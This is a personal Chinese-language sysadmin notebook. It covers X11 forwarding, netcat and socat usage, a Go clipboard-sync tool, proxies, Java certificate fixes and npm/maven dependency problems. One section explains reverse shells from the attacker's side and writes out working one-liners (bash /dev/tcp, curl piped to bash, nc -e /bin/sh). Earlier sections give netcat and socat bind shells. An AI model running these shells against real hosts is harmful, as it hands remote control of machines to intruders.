日常运维记录
一、sshd X11Forwarding
1、修改sshd服务
vi /etc/sshd/sshd_config #修改如下内容
X11Forwarding yes
X11UseLocalhost no
2、安装包
wget https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm
yum install xorg-x11-xauth xorg-x11-font*
yum install google-chrome-stable_current_x86_64.rpm #chrome包
3、调试chrome,访问使用mobaxterm(自带x11转发工具)
错误1:提示缺少动态链接库,可以https://pkgs.org/search/?q=libavahi-common.so.3 在这里搜索然后安装,
error while loading shared libraries: libavahi-common.so.3: cannot open shared object file: No such file or directory
示例: libavahi-common.so.3 => yum install avahi-libs
错误2: [26446:26446:0308/150842.806755:ERROR:zygote_host_impl_linux.cc(100)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.
vi /opt/google/chrome/google-chrome,修改最后一行为<<exec -a "$0" "$HERE/chrome" "$@" "--no-sandbox">>
错误3:打开后字符显示[]
修改字符集: LANG=en_US.UTF-8,要切花中文 LANG=zh_CN.UTF-8
错误3: ERROR:bus.cc(407)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcpix")
暂未解决
二、netcat常用
1、开启ssh端口
nc -l -p 2222 -e /bin/bash #在连接建立的时候执行一个程序,并把它的标准输入输出重定向到网络连接上来
另外一个主机:nc $ip 2222 #可以向登录主机一样操作
2、传输文件
nc -l -p 8080 > image.jpg
nc 192.168.1.2 8080 < image.jpg
3、端口探测
nc -vz -w3 127.0.0.1 2222 #探测端口,-w超时时间
三、socat工具
1、网络策略
socat - TCP-LISTEN:8080 #主机1
socat - TCP:10.71.105.119:8080 #主机2去访问主机的ip和端口,相当于把两个链接给绑定起来
如果客户端结束,服务端也会结束;如果提示地址占用,推出当前session,重新链接即可
socat - TCP-LISTEN:8080,fork,reuseaddr #服务端添加参数后,可以同时应答多个链接过来的客户端
2、端口转发
socat TCP-LISTEN:8080,fork,reuseaddr TCP:127.0.0.1:9090
socat TCP-LISTEN:8080,fork,reuseaddr EXEC:/usr/bin/bash # 服务端提供 shell
socat TCP-LISTEN:8081,reuseaddr,fork,crlf EXEC:/usr/bin/bash,stderr,setsid,setpgid,pty,ctty #更高级的一些参数
socat - TCP:127.0.0.1:8081 #直接登录
3、文件传输
socat -u TCP-LISTEN:8080 open:record.log,create # 服务端接收文件
socat -u open:record.log TCP:localhost:8080 # 客户端发送文件
另外一个小工具,rinetd
四、两台主机共用粘贴板
package main
import (
"crypto/md5"
"flag"
"fmt"
"github.com/atotto/clipboard"
"net"
"net/http"
"net/url"
"time"
)
/*
功能:粘贴板小程序,两台主机之间同步粘贴板内容,一台有更新,则同步到另外一台;跨linux和windows平台
参数:1)本机监听端口-lp(local port),默认60001;2)对端ip地址+端口 -rp(remote port),-ra(remote address)
实现:
1)两个监听
1、监听剪贴板更新
2、监听端口作为服务端
2)粘贴板有更新时,向服务端发送粘贴板内容
3)服务端收到粘贴内容后修改粘贴板内容,并回复修改成功
4)刚开始的时候,服务端可能没开,需要探测
5)遗留问题
1、这里有个问题,就是粘贴板一个有变化,会在两个终端上重复写一次
2、图片在粘贴板不能同步
3、数据量太大会粘贴失败
6)使用方法:
主机1:.\click.exe -la 192.168.0.101 -lp 60001 -ra 192.168.0.105 -rp 60001
主机2: ./click -la 192.168.0.105 -lp 60001 -ra 192.168.0.101 -rp 60001
*/
type clickStruct struct {
localAddr string
localPort uint64
remoteAddr string
remotePort uint64
}
func sendtoserver(addr string, port uint64, msg string) {
apiUrl := fmt.Sprintf("http://%v:%v/clickboard", addr, port)
q1 := url.Values{}
q1.Set("data", msg)
u, err := url.ParseRequestURI(apiUrl) //返回一个*URL的 结构体
if err != nil {
fmt.Printf("[ERROR] parse url requestUrl failed, err:%v\n", err)
}
u.RawQuery = q1.Encode() //RawQuery:encoded query values, q1.Encode 加密
//u这个*URL对象的RawQuery属性为 q1的内容,server需要响应的解码
//fmt.Println(u.String())
resp, err := http.Get(u.String())
if err != nil {
fmt.Println("http Get error,", err)
}
defer resp.Body.Close() //注意:程序在使用完response后必须关闭回复的主体
}
func clickboardSync(addr clickStruct) {
testRemote(addr)
var curr_lenght [16]byte
for {
t := time.Now().Format("2006-01-02 15:04:05") //执行太快,会影响鼠标和键盘使用
time.Sleep(100 * time.Millisecond)
cnt, err := clipboard.ReadAll()
if err == nil {
tmp := md5.Sum([]byte(cnt)) //判断
if tmp == curr_lenght {
continue
} else {
curr_lenght = tmp
}
fmt.Printf("[INFO] %v 准备发送到服务端的内容为:[%v]\n", t, cnt)
sendtoserver(addr.remoteAddr, addr.remotePort, cnt)
}
}
}
func f1(w http.ResponseWriter, r *http.Request) {
_, err := w.Write([]byte("hello world"))
if err != nil {
w.Write([]byte(fmt.Sprintf("%v", err)))
return
}
queryparam := r.URL.Query()
data := queryparam.Get("data")
fmt.Printf("[INFO] 服务端收到内容:[%v]\n", data)
defer r.Body.Close()
err = clipboard.WriteAll(data)
if err != nil {
fmt.Printf("[ERROR] 写入粘贴板失败 %v\n", err)
} else {
fmt.Printf("[INFO] 写入粘贴板成功 %v\n", data)
}
}
func serverListen(addr clickStruct) {
http.HandleFunc("/clickboard", f1)
err := http.ListenAndServe(fmt.Sprintf("%v:%v", addr.localAddr, addr.localPort), nil)
if err != nil {
fmt.Println("[ERROR] ListenAndServe", err)
}
}
func testRemote(obj clickStruct) {
for {
time.Sleep(10 * time.Second) //每10s探测一次
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", obj.remoteAddr, obj.remotePort), 5*time.Second)
if err == nil {
conn.Close()
fmt.Println("[INFO] 目标端口已开启")
return
} else {
fmt.Println("[ERROR]", err)
}
}
}
func main() {
//1、参数校验,生成参数
var lport, rport uint64
var laddr, raddr string
flag.StringVar(&raddr, "ra", "127.0.0.1", "远程主机ip")
flag.StringVar(&laddr, "la", "127.0.0.1", "本机监听ip")
flag.Uint64Var(&lport, "lp", 60001, "本机监听port")
flag.Uint64Var(&rport, "rp", 60002, "远程主机port")
flag.Parse()
fmt.Printf("[INFO] [%v] [本地端口:%v] [远程地址: %v:%v]\n", time.Now().Format("2006-01-02 15:04:05"), lport, raddr, rport)
var clickObject clickStruct
clickObject.remotePort = rport
clickObject.localPort = lport
clickObject.remoteAddr = raddr
clickObject.localAddr = laddr
//2、开启本机监听
go clickboardSync(clickObject)
serverListen(clickObject)
}
五、cockpit web管理linux
dnf install cockpit cockpit-machines
systemctl start cockpit.socket
systemctl enable cockpit.socket
可以使用https协议,直接ssh访问主机,执行终端命令
六、socket5代理
Socks5代理是一种网络协议,它可以在传输层为数据包提供认证和转发服务,从而实现更高级别的隐私和安全性。
chrome使用插件来使用 socket代理,但本身只是代理工具,代理服务端还要单独配置
安装步骤:
1、SwitchOmega安装
下载代理SwitchOmega代理 下载后修改后缀为 ".zip"
chrome扩展程序,拖拽安装即可
2、安装socket服务端,这里用gost
gost简单用法:gost -L:9090 #开启socket5 和http 9090端口代理
七、反弹shell
- 正向:常用的登录机器执行命令。
- 反向:目的端(被攻击目标)可以出,不能入。目的端访问客户端(攻击者)ip,使攻击者可以在本地访问直接执行远程命令
- 场景:目标ip为动态,目标主机无法直接访问。
原理:
- 1、攻击者A开启监听(一般为公网)
- 2、目的端B访问公网ip,A和B建立链接
- 3、A通过tcp服务将待执行命令发送到B,B执行后返回给A
步骤:
A:nc -lvp 1111 #l:listen,v:verbose,p:source port
B:bash -i >& /dev/tcp/${A.IP}/${A.PORT} 0>&1
A:netstat -ant #可以看到已经建立好的通道
bash -i :产生一个交互shell
>& :标准输入和标准输出重定向到文件(目的不在目的端显示执行的命令),0和1 ,效果同: &>
/dev/* :打开了一个特殊设备,相当于创建了一个socket链接
0>&1 :将标准输入重定向到标准输出; 0:stdin;1:stdout;2:stderr
标准输入和输出:
> :覆盖
>> :追加
2>&1 : 标准输出和标准错误重定向到同一文件,请使用以下命令语法。具体来说,将 2>&1 附加到常用命令的末尾。echo "linuxconfig.org" > new-file.txt 2>&1
标准输入和输出分开:echo "linuxconfig.org" 2> std-err.txt 1> std-out.txt
扩展:
1) bash -i > /dev/tcp/${A.IP}/${A.PORT} #攻击者只能看结果不能操作
2)curl:攻击者准备http服务,放置命令;被攻击者执行curl http://ip/reversesh | bash 重定向执行
3)nc实现反弹,被攻击者执行 "nc $IP $PORT -e /bin/sh"
4)结合screen|setsid 可以实现后台运行,可以创建一个服务端探动态获取可以访问的端口,被攻击方调整参数去访问。
八、npm以及maven依赖生成
1、npm依赖生成
yum install npm #部分应用node版本有要求,需要确认
npm config set registry=https://registry.npm.taobao.org
npm i -g cnpm ;cnpm -v ;npm install -g cgr #可选
cnpm i 或 npm i #生成依赖,正常情况下npm即可完成,生成后即可使用
常见问题
1)spawn git ENOENT #表示git没有安装
2)near heap limit Allocation failed - JavaScript heap out of memory
export NODE_OPTIONS="--max-old-space-size=4096" #根据主机配置,限制内存
3)找不到"node:path" modules #升级npm版本
4)You installed esbuild for another platform than the one you're currently using.
This won't work because esbuild is written with native code and needs to
install a platform-specific binary executable.
这个fishx的框架 是区分操作系统的 所以没法直接拿Windows的依赖用;要自己在Linux虚机里面下代码 打包编译 然后把依赖copy出来
2、maven依赖安装
注意清理:"_remote.repositories" 和 ".lastUpdated",排除本地仓库本身问题
示例:a.txt内容如下(内容可以从maven提示缺失的依赖中获取)
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery:jar:1.5.0.RELEASE
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-config:jar:1.5.0.RELEASE
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery:jar:1.5.0.RELEASE
生成安装命令
[root@localhost tmp]# for info in `cat a`;do echo $info |awk -F':' '{print "mvn install:install-file -Dfile=/$2"-"$4".jar -DgroupId="$1" -DartifactId="$2" -Dversion="$4" -Dpackaging=jar"}' ;done
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-discovery-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-discovery -Dversion=1.5.0.RELEASE -Dpackaging=jar
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-config-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-config -Dversion=1.5.0.RELEASE -Dpackaging=jar
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-discovery-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-discovery -Dversion=1.5.0.RELEASE -Dpackaging=jar
九、PKIX path building failed
javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
1、chrome打开https网址,点击”证书有效“->"详细信息"[选中域名]-导出->Base64编码ASCII 单一证书-> ,假如名字为"a.crt"
2、keytool -import -v -trustcacerts -alias jsyc -file domain.cert -storepass changeit -keystore ${JAVA_HOME}/jre/lib/security/cacerts
3、查看cacerts中的证书列表
keytool -list -keystore ${JAVA_HOME}/jre/lib/security/cacerts -storepass changeit
根据别名和 SHA-256的内容查看
4、keytool -printcert -file /tmp/a.crt #pem格式也可以
#如果有问题,可以联系证书负责人获取证书
十、java常见网络问题
- **1 java.net.SocketTimeoutException .**
**这 个异 常比较常见,socket 超时。一般有 2 个地方会抛出这个,一个是 connect 的 时 候 , 这 个 超 时 参 数 由connect(SocketAddress endpoint,int timeout) 中的后者来决定,还有就是 setSoTimeout(int timeout),这个是设定读取的超时时间。它们设置成 0 均表示无限大。**
- **2 java.net.BindException:Address already in use: JVM_Bind**
该 异 常 发 生 在 服 务 器 端 进 行 new ServerSocket(port) 或者 socket.bind(SocketAddress bindpoint)操作时。
原因:与 port 一样的一个端口已经被启动,并进行监听。此时用 netstat –an 命令,可以看到一个 Listending 状态的端口。只需要找一个没有被占用的端口就能解决这个问题。
- **3 java.net.ConnectException: Connection refused: connect**
该异常发生在客户端进行 new Socket(ip, port)或者 socket.connect(address,timeout)操作时,原 因:指定 ip 地址的机器不能找到(也就是说从当前机器不存在到指定 ip 路由),或者是该 ip 存在,但找不到指定的端口进行监听。应该首先检查客户端的 ip 和 port是否写错了,假如正确则从客户端 ping 一下服务器看是否能 ping 通,假如能 ping 通(服务服务器端把 ping 禁掉则需要另外的办法),则 看在服务器端的监听指定端口的程序是否启动。
- **4 java.net.SocketException: Socket is closed**
该异常在客户端和服务器均可能发生。异常的原因是己方主动关闭了连接后(调用了 Socket 的 close 方法)再对网络连接进行读写操作。
- **5 java.net.SocketException: Connection reset 或者Connect reset by peer:Socket write error**
该异常在客户端和服务器端均有可能发生,引起该异常的原因有两个,第一个就是假如一端的 Socket 被关闭(或主动关闭或者因为异常退出而引起的关闭), 另一端仍发送数据,发送的第一个数据包引发该异常(Connect reset by peer)。另一个是一端退出,但退出时并未关闭该连接,另 一 端 假 如 在 从 连 接 中 读 数 据 则 抛 出 该 异 常(Connection reset)。简单的说就是在连接断开后的读和写操作引起的。
还有一种情况,如果一端发送RST数据包中断了TCP连接,另外一端也会出现这个异常,如果是tomcat,异常如下:
org.apache.catalina.connector.ClientAbortException: java.io.IOException: Connection reset by peer
阿里的tcp方式的健康检查为了提高性能,省去挥手交互,直接发送一个RST来终断连接,就会导致服务器端出现这个异常;
对于服务器,一般的原因可以认为:
a) 服务器的并发连接数超过了其承载量,服务器会将其中一些连接主动 Down 掉.
b) 在数据传输的过程中,浏览器或者接收客户端关闭了,而服务端还在向客户端发送数据。
- **6 java.net.SocketException: Broken pipe**
该异常在客户端和服务器均有可能发生。在抛出SocketExcepton:Connect reset by peer:Socket write error 后,假如再继续写数据则抛出该异常。前两个异常的解决方法是首先确保程序退出前关闭所有的网络连接,其次是要检测对方的关闭连接操作,发现对方 关闭连接后自己也要关闭该连接。
对于 4 和 5 这两种情况的异常,需要特别注意连接的维护。在短连接情况下还好,如果是长连接情况,对于连接状态的维护不当,则非常容易出现异常。基本上对长连接需要做的就是:
a) 检测对方的主动断连(对方调用了 Socket 的 close 方法)。因为对方主动断连,另一方如果在进行读操作,则此时的返回值是-1。所以一旦检测到对方断连,则主动关闭己方的连接(调用 Socket 的 close 方法)。
b) 检测对方的宕机、异常退出及网络不通,一般做法都是心跳检测。双方周期性的发送数据给对方,同时也从对方接收“心跳数据”,如果连续几个周期都没有收到 对方心跳,则可以判断对方或者宕机或者异常退出或者网络不通,此时也需要主动关闭己方连接;如果是客户端可在延迟一定时间后重新发起连接。虽然 Socket 有一个keep alive 选项来维护连接,如果用该选项,一般需要两个小时才能发现对方的宕机、异常退出及网络不通。
- **7 java.net.SocketException: Too many open files**
原因: 操作系统的中打开文件的最大句柄数受限所致,常常发生在很多个并发用户访问服务器的时候。因为为了执行每个用户的应用服务器都要加载很多文件(new 一个socket 就需要一个文件句柄),这就会导致打开文件的句柄的缺乏。
解决方式:
a) 尽量把类打成 jar 包,因为一个 jar 包只消耗一个文件句柄,如果不打包,一个类就消耗一个文件句柄。
b) java 的 GC 不能关闭网络连接打开的文件句柄,如果没有执行 close()则文件句柄将一直存在,而不能被关闭。
也可以考虑设置 socket 的最大打开 数来控制这个问题。对操作系统做相关的设置,增加最大文件句柄数量
ulimit -a 可以查看系统目前资源限制,ulimit -n 10240 则可以修改,这个修改只对当前窗口有效。
十一、npm以及maven依赖生成
1、npm依赖生成
yum install npm #部分应用node版本有要求,需要确认
npm config set registry=https://registry.npmmirror.com/"
npm i -g cnpm ;cnpm -v ;npm install -g cgr #可选
cnpm i 或 npm i #生成依赖,正常情况下npm即可完成,生成后即可使用
常见问题
1)spawn git ENOENT #表示git没有安装
2)near heap limit Allocation failed - JavaScript heap out of memory
export NODE_OPTIONS="--max-old-space-size=4096" #根据主机配置,限制内存
3)找不到"node:path" modules #升级npm版本
4)You installed esbuild for another platform than the one you're currently using.
This won't work because esbuild is written with native code and needs to
install a platform-specific binary executable.
这个fishx的框架 是区分操作系统的 所以没法直接拿Windows的依赖用;要自己在Linux虚机里面下代码 打包编译 然后把依赖copy出来
5):packages are looking for funding #npm i --no-fund 不捐赠即可
6):一直卡在idealTree:web: timing idealTree: #仓库域名更新,更新仓库域名
2、maven依赖安装
注意清理:"_remote.repositories" 和 ".lastUpdated",排除本地仓库本身问题
示例:a.txt内容如下(内容可以从maven提示缺失的依赖中获取)
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery:jar:1.5.0.RELEASE
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-config:jar:1.5.0.RELEASE
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery:jar:1.5.0.RELEASE
生成安装命令
[root@localhost tmp]# for info in `cat a`;do echo $info |awk -F':' '{print "mvn install:install-file -Dfile=/$2"-"$4".jar -DgroupId="$1" -DartifactId="$2" -Dversion="$4" -Dpackaging=jar"}' ;done
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-discovery-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-discovery -Dversion=1.5.0.RELEASE -Dpackaging=jar
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-config-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-config -Dversion=1.5.0.RELEASE -Dpackaging=jar
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-discovery-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-discovery -Dversion=1.5.0.RELEASE -Dpackaging=jar
黑马腾空^_^